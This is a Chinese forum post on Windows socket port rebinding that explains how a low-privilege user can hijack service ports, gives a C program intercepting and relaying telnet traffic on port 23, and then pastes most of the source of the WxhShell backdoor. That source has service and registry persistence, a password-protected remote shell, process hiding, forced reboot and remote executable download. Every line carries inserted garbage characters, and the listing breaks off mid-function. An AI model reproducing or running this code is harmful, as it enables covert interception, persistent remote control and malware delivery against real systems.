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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mdxa^#w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); % 1Y!|306  
L/Cp\|~ O  
  saddr.sin_family = AF_INET; g_lj/u]P  
"?Dov/+Q.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4|Z;EAFx  
@UCI^a~w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YXE?b@W"  
X`km\\*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lz>YjK:  
_t<&#D~  
  这意味着什么?意味着可以进行如下的攻击: 0$)CWah  
P" +!mSe^~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 61|uvTX  
Kx.'^y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _`yd"0 Ux  
 pME17 af  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,|hM`<"?  
,lK=m~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z3!j>X_w  
U ObI&*2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `"CIy_m  
)eFXjnHN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #clOpyT*  
Jt79M(Hp!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aRSGI ja<L  
Yud]s~N  
  #include , 'WhF-  
  #include R=uzm=&nR  
  #include $4K( AEt[  
  #include    ~WH4D+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8:9m< ^4S(  
  int main() 2xBIfmR^y  
  { 2=Sv#  
  WORD wVersionRequested; V~j:!=b%v  
  DWORD ret; f,QoA  
  WSADATA wsaData; "`P/j+-rt  
  BOOL val; `#O%ZZ+  
  SOCKADDR_IN saddr; ML6Y_|6 |  
  SOCKADDR_IN scaddr; H;('h#=cD  
  int err; kev|AU (WX  
  SOCKET s; 6H+'ezM  
  SOCKET sc; ^%(HZ'$wC  
  int caddsize; f681i(q"  
  HANDLE mt; cM&5SyxiuE  
  DWORD tid;   v&t~0jX,  
  wVersionRequested = MAKEWORD( 2, 2 ); YyOPgF] M  
  err = WSAStartup( wVersionRequested, &wsaData ); h`O"]2  
  if ( err != 0 ) { Z05kn{<a8  
  printf("error!WSAStartup failed!\n"); IXE`MLc  
  return -1; ?f@g1jJP  
  } DONXq]f:,"  
  saddr.sin_family = AF_INET; rG7E[kii  
   ;pk4Voo$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p,_,o3@~  
2tz%A~}4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T: zO9C/  
  saddr.sin_port = htons(23); WXJEAje  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lhg4fuos@)  
  { &PY~m<F  
  printf("error!socket failed!\n"); 0$RZ~  
  return -1; }xZR`xP(  
  } +NML>g#F~z  
  val = TRUE; ra87~kj<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3khsGD@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l&rS\TCkp  
  { ITcgp K6k  
  printf("error!setsockopt failed!\n"); t8vR9]n  
  return -1; L=`QF'Im  
  } *nb `DR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ir%L%MuR]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F@m]Imn5Dx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O &DkB*-  
iBCZx>![;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Gn*cphb  
  { ]=X6* E*/E  
  ret=GetLastError(); s98Jh(~  
  printf("error!bind failed!\n"); _=,\uIrk  
  return -1; ,1xX`:  
  } #cHH<09 rl  
  listen(s,2); MW^(  
  while(1) @Z0?1+k  
  { Q7<%_a  
  caddsize = sizeof(scaddr); Fjnp0:p9X  
  //接受连接请求 Q]44A+M]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2x PkQOj3  
  if(sc!=INVALID_SOCKET) %:yp>nm  
  { Eb 8vnB#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s &4k  
  if(mt==NULL) ?= G+L0t  
  { WBb@\|V|  
  printf("Thread Creat Failed!\n"); tX'`4!{@+  
  break; a1^CpeG~  
  } h%4aL38  
  } zL8Z8eh">  
  CloseHandle(mt); "LwLTPC2  
  } ' 6^+|1  
  closesocket(s); O|Sbe%[*wW  
  WSACleanup(); KGM9 b  
  return 0; /-J  
  }   7j,-o  
  DWORD WINAPI ClientThread(LPVOID lpParam) qq Vjx?bKe  
  { W=E+/ZvPt  
  SOCKET ss = (SOCKET)lpParam; { XI0KiE  
  SOCKET sc; X`/GiYTu  
  unsigned char buf[4096]; @wvgMu  
  SOCKADDR_IN saddr; aPU.fER  
  long num; n*gr(S  
  DWORD val; RIC\f_Dv  
  DWORD ret; 6XP>qI,AJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "0*yD[2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !sknO53`H`  
  saddr.sin_family = AF_INET; D.[h`Hkc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s<z`<^hRe  
  saddr.sin_port = htons(23); pyHU +B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  3o_)x  
  { _\/KI /  
  printf("error!socket failed!\n"); mS$9D{  
  return -1; WdWMZh  
  } |Do+=Gr$t@  
  val = 100; P}`|8b1W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )2z<5 `  
  { $Cgl$A  
  ret = GetLastError(); wDQ@$T^vh  
  return -1; #}PQ !gZ  
  } 8k( zU>^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t4;eabZK  
  { k kZ2Jxvx  
  ret = GetLastError(); R"wBDWs  
  return -1; ='W=  
  } y ;/T.W9!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MZ2/ks  
  { kC,=E9)O  
  printf("error!socket connect failed!\n"); saRYd{%+  
  closesocket(sc); f 7R/i  
  closesocket(ss); r|MBkpcvp  
  return -1; %fT%,( w}t  
  } -R]Iu\  
  while(1) vU,V[1^a  
  { A ".v+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @d&JtA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kk`K)PESi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^l:~r2  
  num = recv(ss,buf,4096,0); PFKl6_(  
  if(num>0) 8A jQPDn+  
  send(sc,buf,num,0); f]pHJVgFV  
  else if(num==0) AX%N:)_$|  
  break; @$Xl*WT7  
  num = recv(sc,buf,4096,0); @=7[KMb  
  if(num>0) 'fK3L<$z#m  
  send(ss,buf,num,0); r*q  
  else if(num==0) cv{icz,%w  
  break; 3u 'VPF2  
  } /3`yaYkSh  
  closesocket(ss); +Rj8 "p$K  
  closesocket(sc); ; Sd== *  
  return 0 ; @~z4GTF9i  
  } +P &S0/  
c$.Zg=  
N&uRL_X .  
========================================================== BS.5g<E2q  
`<3%`4z/  
下边附上一个代码,,WXhSHELL uIy$| N  
C3K":JB  
========================================================== !V'~<&  
}ed{8"bj  
#include "stdafx.h" .9u0WP95  
n #l~B@  
#include <stdio.h> Bq5-L}z  
#include <string.h> dO1h1yJJ  
#include <windows.h> ,Y&7` m  
#include <winsock2.h> l\/uXP?  
#include <winsvc.h> s/l>P~3=  
#include <urlmon.h> 1gA^Qv~?  
XtZeT~/7RT  
#pragma comment (lib, "Ws2_32.lib") 7;I;(iY  
#pragma comment (lib, "urlmon.lib") ]Sey|/@D  
+=`*`eP:U  
#define MAX_USER   100 // 最大客户端连接数 {'-^CoR  
#define BUF_SOCK   200 // sock buffer %{|67h  
#define KEY_BUFF   255 // 输入 buffer %ws@t"aER  
BvLC%  
#define REBOOT     0   // 重启 ^, &'  
#define SHUTDOWN   1   // 关机 ,/ YTW@N  
~eZ]LW])  
#define DEF_PORT   5000 // 监听端口 Z,~PW#8<&  
{/|tVc63  
#define REG_LEN     16   // 注册表键长度 ;=UkTn}N?l  
#define SVC_LEN     80   // NT服务名长度 z',f'3+  
HEk{!Y  
// 从dll定义API o(gV;>I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !DM GAt\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ri2`M\;gt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +gyGA/5:d$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M9QYYo@  
to{7B7t>q  
// wxhshell配置信息 S^x?<kYQau  
struct WSCFG { *=}\cw\A  
  int ws_port;         // 监听端口 nK)hv95i_  
  char ws_passstr[REG_LEN]; // 口令 35H.ZXQp-  
  int ws_autoins;       // 安装标记, 1=yes 0=no aH&Efz^  
  char ws_regname[REG_LEN]; // 注册表键名 RhWW61!"  
  char ws_svcname[REG_LEN]; // 服务名 gF2,Jm@"6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zEKVyZd*{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m++=FsiX=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `J$7X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M1q_gHA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #Y0ru9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6u9?  
 \62!{  
}; d3]<'B:nb  
>rYkVlv  
// default Wxhshell configuration P9o=G=i  
struct WSCFG wscfg={DEF_PORT, P#|}]oG%  
    "xuhuanlingzhe", Ck:+F+7_v  
    1, _7;D0l  
    "Wxhshell", 6IJH%qUx'  
    "Wxhshell", ]P96-x  
            "WxhShell Service", wu.>'v?y  
    "Wrsky Windows CmdShell Service", z+K1[1SM  
    "Please Input Your Password: ", p Le[<N  
  1, I_Omv{&u  
  "http://www.wrsky.com/wxhshell.exe", gh-i| i,  
  "Wxhshell.exe" Ltk-1zhI  
    }; hs*n?vxp3  
XFv^j SF  
// 消息定义模块 ]G~Z'fs<(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IAJ+n0U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t 2,?+q$x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e8eNef L$  
char *msg_ws_ext="\n\rExit."; < w;49 0g  
char *msg_ws_end="\n\rQuit."; P}"T 3u\N  
char *msg_ws_boot="\n\rReboot..."; h2 y<vO  
char *msg_ws_poff="\n\rShutdown..."; FY)US>  
char *msg_ws_down="\n\rSave to "; X4JSI%E  
s~m]>^?8MR  
char *msg_ws_err="\n\rErr!"; '?$R YU,  
char *msg_ws_ok="\n\rOK!"; TSH'OW !b  
%R<xe.X  
char ExeFile[MAX_PATH]; bZ#5\L2  
int nUser = 0; lf\^!E:  
HANDLE handles[MAX_USER]; ; Kh!OBZFo  
int OsIsNt; nwVW'M]r  
^vJy<  
SERVICE_STATUS       serviceStatus; A: O"N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zJ_y"bt  
SPp|/ [i7  
// 函数声明 +OZ\rs  
int Install(void); HLCI  
int Uninstall(void); hOYP~OR  
int DownloadFile(char *sURL, SOCKET wsh); NFPWh3),f  
int Boot(int flag); lMgPwvs'  
void HideProc(void); v\+`n^=  
int GetOsVer(void); 3pe1"maP  
int Wxhshell(SOCKET wsl); p/HGI)'  
void TalkWithClient(void *cs); VHG}'r9KC%  
int CmdShell(SOCKET sock); A@eR~Kp ^  
int StartFromService(void); 30O7u3Zrb  
int StartWxhshell(LPSTR lpCmdLine); tF6-@T\6  
o%OwKp s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xkQT#K=i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "-Pz2QJY  
P5W58WxT'  
// 数据结构和表定义 -56gg^Pnr  
SERVICE_TABLE_ENTRY DispatchTable[] = Fw8b^ew  
{ ;u=%Vn"2a  
{wscfg.ws_svcname, NTServiceMain}, BDCyeC,Q3  
{NULL, NULL} !gcea?I  
}; @SI,V8i  
!R![:T\,  
// 自我安装 QZ+G2$  
int Install(void) /I:&P Pff  
{ YRCOh:W*  
  char svExeFile[MAX_PATH]; ByacSN  
  HKEY key; z3{Cp:Mn  
  strcpy(svExeFile,ExeFile); Lf`<4 P  
v SY YetL  
// 如果是win9x系统,修改注册表设为自启动 1--Ka& H  
if(!OsIsNt) { L#S|2L_hC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :%h|i&B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e@1A_q@.  
  RegCloseKey(key); aMGyV"6(-6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F\jawoO9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,20l` :  
  RegCloseKey(key); L4ZB0PmN'  
  return 0; G_M8? G0  
    } P-DW@drxF  
  } Tv9\` F[  
} !Sl_qL  
else { }D-jTZlC  
'.jYu7   
// 如果是NT以上系统,安装为系统服务 dK4w$~j{k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); av_ +M;G  
if (schSCManager!=0) Z@bSkO<Y  
{ {gxP_>  
  SC_HANDLE schService = CreateService #N;&^El  
  ( h^,av^lg^  
  schSCManager, SXC 7LJm<g  
  wscfg.ws_svcname, &Mz]y?k'  
  wscfg.ws_svcdisp, AY;[v.Ff4  
  SERVICE_ALL_ACCESS, R:rols"QM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @<&u;8y-Cn  
  SERVICE_AUTO_START, 6  $`l  
  SERVICE_ERROR_NORMAL, .@ZrmO o]]  
  svExeFile, 5vLA)Al3  
  NULL, Mcq!QaO}&  
  NULL, 1vS-m x  
  NULL, {vT9I4d8  
  NULL, 'dqecmB  
  NULL )i_:[ l6  
  ); D G|v' #  
  if (schService!=0) qFl|q0\ A  
  { E^0a; |B[  
  CloseServiceHandle(schService); 'rq@9$h1W  
  CloseServiceHandle(schSCManager); !,C8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xdVsbW)L2  
  strcat(svExeFile,wscfg.ws_svcname); xo2j fz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SM1L^M3)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qlnA7cK!  
  RegCloseKey(key); O<ybiPR  
  return 0; o' v!83$L  
    } yivWT;`  
  } ~SmFDg$/m  
  CloseServiceHandle(schSCManager); xu{VU^'Y  
} 7fXJP5j  
} )1YX+',"  
2.\"Q  
return 1; Y/?z8g'p  
} LXZI|K[}k  
0g~Cdp  
// 自我卸载 3E0C$v KM  
int Uninstall(void) Z{/GT7 /  
{ 8n:N#4Dh^  
  HKEY key; 0JKTwLhC  
5m;BL+>YE  
if(!OsIsNt) { GDb V y)&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6G}4KGQc  
  RegDeleteValue(key,wscfg.ws_regname); 73nM9  
  RegCloseKey(key); `sg W0Uf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nwzyL`kF  
  RegDeleteValue(key,wscfg.ws_regname); ))nTd=  
  RegCloseKey(key); oKH+Q6S:  
  return 0; &C)97E  
  } gGN 6Yqj0  
} LDYa{w-t  
} \cf'Hj}  
else {  z:   
OmK4 \_.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D6"d\F m<  
if (schSCManager!=0) t<j_` %`8  
{ L}'^FqO[IW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P]OUzI,  
  if (schService!=0) LFr$h`_D5  
  { &|#,Bsk"@  
  if(DeleteService(schService)!=0) { TKiYEh  
  CloseServiceHandle(schService); /8Z&Y`G  
  CloseServiceHandle(schSCManager); eKo=g|D  
  return 0; ;lS sy  
  } L)1\=[Ov  
  CloseServiceHandle(schService); `C$QR 8  
  } _/u(:  
  CloseServiceHandle(schSCManager); ((<\VQ,>(  
} J1Az+m  
} )o-mM tPj  
1Dhu 5ht  
return 1; (_6JQn  
} Mz86bb^J  
3(nnN[?N,5  
// 从指定url下载文件 G]{^.5  
int DownloadFile(char *sURL, SOCKET wsh) |n^rI\ p%  
{ .g?D3$|K  
  HRESULT hr; 2E`mbT,v&  
char seps[]= "/"; 2m} bddS  
char *token; e,Y<$kPV  
char *file; .}uri1k"@k  
char myURL[MAX_PATH]; W$`#X  
char myFILE[MAX_PATH]; U0iV E+)Bt  
jw 5 U-zi  
strcpy(myURL,sURL); /{[p?7x>  
  token=strtok(myURL,seps); B6KG\,'|  
  while(token!=NULL) =+I-9=  
  { .:GOKyr(~  
    file=token; g/\cN(X  
  token=strtok(NULL,seps); !H<%X~|,  
  }  q*C-DiV  
SLUQFoz}  
GetCurrentDirectory(MAX_PATH,myFILE); BjA$^i|8  
strcat(myFILE, "\\"); SXN]${  
strcat(myFILE, file); @1<VvW=  
  send(wsh,myFILE,strlen(myFILE),0); 0\s&;@xKk  
send(wsh,"...",3,0); ^,)nuU y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bI_MF/r''  
  if(hr==S_OK) 7+IRI|d  
return 0; 9\T9pjdZE  
else M4CC&?6\  
return 1; ^dsj1#3z  
]ms+ Va_/  
} Bu+?N%CBi  
L6;'V5Mg72  
// 系统电源模块 L GVy4D  
int Boot(int flag) *"4l}&  
{ pU[yr'D.r  
  HANDLE hToken; y$_]}<b  
  TOKEN_PRIVILEGES tkp;  WK@<#  
}T AG7U*  
  if(OsIsNt) { -_eG/o=M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RCxwiZaf33  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E H%hL5(  
    tkp.PrivilegeCount = 1; td23Z1Elk#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <"xqt7f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GCX?W`  
if(flag==REBOOT) { ]*Q,~uV^|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u8`S*i/)m  
  return 0; ,'9R/7%s  
} 4HX;9HPHE<  
else { UI%4d3   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K{V.N</  
  return 0; 9?~6{!m_9  
} rLA-q||  
  } 6l &!4r@}  
  else { 98 ]pkqp4  
if(flag==REBOOT) { Yx,7e(AI`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G007[|  
  return 0; <h}x7y?  
} xU}J6 Tv  
else { /L@6Ae  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +c, ^KHW  
  return 0; T:9M|mD  
} E*fa&G~s )  
} Kp1 F"!  
q^n LC6q  
return 1; ;Ru[^p.{  
} Q&_#R(3j;  
\Sv|yQUT  
// win9x进程隐藏模块 %y*'bS  
void HideProc(void) t)g %9 k^  
{ `PvS+>q  
XW@C_@*J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q(L.i)w$  
  if ( hKernel != NULL ) o_[~{@RoR  
  { 2;3&&yK2b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W- nS{v(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fwMYEj  
    FreeLibrary(hKernel); Ro<x#Uo  
  } [McqwU/Q  
:}/\hz ,  
return; LP'q$iB!  
} ^N 4Y*NtV7  
g)D@4RM  
// 获取操作系统版本 x K\i&A  
int GetOsVer(void) : yq2 XE%r  
{ wL^x9O|`p9  
  OSVERSIONINFO winfo; /C5py&#-I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bn5O2  
  GetVersionEx(&winfo); jG)66E*"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rOO10g  
  return 1; bFlI:R&<  
  else e7\gd\  
  return 0; p=Le oc1  
} 4xg1[Z%:  
Bss *-K]  
// 客户端句柄模块 oIIi_yc  
int Wxhshell(SOCKET wsl) OYn5k6  
{ ?i\V^3S n$  
  SOCKET wsh; ;C , g6{  
  struct sockaddr_in client; FeQo,a  
  DWORD myID; _bg Zl  
jVN=_Y}\  
  while(nUser<MAX_USER) GC3d7  
{ Fm6]mz%~u#  
  int nSize=sizeof(client); GK6CnSV8d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UX.rzYM&T  
  if(wsh==INVALID_SOCKET) return 1; Kxeq Q@  
6c/0OM#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Cw kQhj?  
if(handles[nUser]==0) f~TkU\Rh  
  closesocket(wsh); 2Ur&_c6 P  
else Aw4)=-LKO  
  nUser++; ]n<B a7Y  
  } oWi#?'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WX_g  
HU4h.Lm  
  return 0; u|u)8;'9(  
} \yxGE+~P  
3webAaO  
// 关闭 socket $AMcU5^b7  
void CloseIt(SOCKET wsh) M(C}2.20  
{ )`\Q/TMl5  
closesocket(wsh); G{Ju2HY  
nUser--; 0Q,Tcj  
ExitThread(0); gSyBoY  
} $#W^JWN1  
v$(Z}Hg  
// 客户端请求句柄 [Fk|m1i!  
void TalkWithClient(void *cs) B4+u/hkbh?  
{ -49I3&  
p|a`Q5z!  
  SOCKET wsh=(SOCKET)cs; I3T;|;P7  
  char pwd[SVC_LEN]; DW:\6k  
  char cmd[KEY_BUFF]; ba ,n/yH  
char chr[1]; o_kZ  
int i,j; |Zp') JiS  
|UQ [pas  
  while (nUser < MAX_USER) { US-f<Wq  
.'2I9P\!  
if(wscfg.ws_passstr) { x;~@T9.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AE`{k-3=%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qm"~XP  
  //ZeroMemory(pwd,KEY_BUFF); <@+L^Ps~z  
      i=0; NE) w$>0M  
  while(i<SVC_LEN) { M\7F1\ X  
t U~q4$qqE  
  // 设置超时 RF4B ]Gqd  
  fd_set FdRead; :6EX-Xyj  
  struct timeval TimeOut; $ kMe8F_  
  FD_ZERO(&FdRead); m] p]J_6A  
  FD_SET(wsh,&FdRead); ~HT:BO$  
  TimeOut.tv_sec=8; %(POC=b#[  
  TimeOut.tv_usec=0; TM_bu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -O/[c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); US9@/V*2  
 w+5OI9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iXXaB +w  
  pwd=chr[0]; Xq ew~R^MP  
  if(chr[0]==0xd || chr[0]==0xa) { jO*H8 XO  
  pwd=0; Qx!Bf_,J  
  break; )qFqf<:yc  
  } *p0n^XZ% ?  
  i++; 8. +f@wv  
    } N}{V*H^0QU  
EBQ_c@  
  // 如果是非法用户,关闭 socket ~G6xk/+n-m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /6n"$qon6  
} @$$ J}~{  
gf4Hq&Rf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qvhG ^b0h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ep')@7^n  
bun_R-  
while(1) { /6\uBy"Xt  
?@Tsd@s~r  
  ZeroMemory(cmd,KEY_BUFF); Yc3\  
gQY`qz  
      // 自动支持客户端 telnet标准   _ |HA\!  
  j=0; $`0,N_C<}  
  while(j<KEY_BUFF) { M;KeY[u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u3 &# UN  
  cmd[j]=chr[0]; =i7CF3  
  if(chr[0]==0xa || chr[0]==0xd) { 16.?4 5  
  cmd[j]=0; >Apa^Bp  
  break; dI=&gz  
  } &fkH\o7)  
  j++; H&k&mRi  
    } o4z|XhLr  
T`<Tj?:^&  
  // 下载文件 "15frr?  
  if(strstr(cmd,"http://")) { 6ZjY-)h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;9J6)zg !n  
  if(DownloadFile(cmd,wsh)) 61HJ%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,|{|/  
  else H,j_2JOY=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]f wW dtz1  
  } 8/u kzY1!  
  else { c@4$)68  
2t{Tz}g*  
    switch(cmd[0]) { XZ8]se"C  
  6KN6SN$  
  // 帮助 zd F;!  
  case '?': { &Fk|"f+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X .K*</(g  
    break; :inVwc  
  } |^F$Ta  
  // 安装 j*1MnP3/8Y  
  case 'i': { ^ ~Tn[w W_  
    if(Install()) ;vpq0t`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4H'FZ  
    else =~)rT8+)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -G=.3 bux  
    break; Y2g%{keo  
    } QNXS.!\P  
  // 卸载 ZHoYnp-~z  
  case 'r': { ,&Zk63V  
    if(Uninstall()) U2Ky4UFm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %y)hYLOJ  
    else i.-2 w6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {5+69&:G.  
    break; O%&N6U  
    } $"0`2C  
  // 显示 wxhshell 所在路径 'S#^ 70kt  
  case 'p': { n2[h`zm1{B  
    char svExeFile[MAX_PATH]; c <Q*g  
    strcpy(svExeFile,"\n\r"); 7c@5tCcC-  
      strcat(svExeFile,ExeFile); :kjs: 6f]  
        send(wsh,svExeFile,strlen(svExeFile),0); e\*(F3r  
    break; '?X?'_3  
    } >+:cTQ|q  
  // 重启 ##1/{9ywy  
  case 'b': { xKepZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4"^W/Zo  
    if(Boot(REBOOT)) X@)'E9g5:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~1S,[5u|s  
    else { aan(69=jz  
    closesocket(wsh); p}X *HJq$  
    ExitThread(0); 5,Co(K  
    } jz\>VYi(7  
    break; 6hXh;-U  
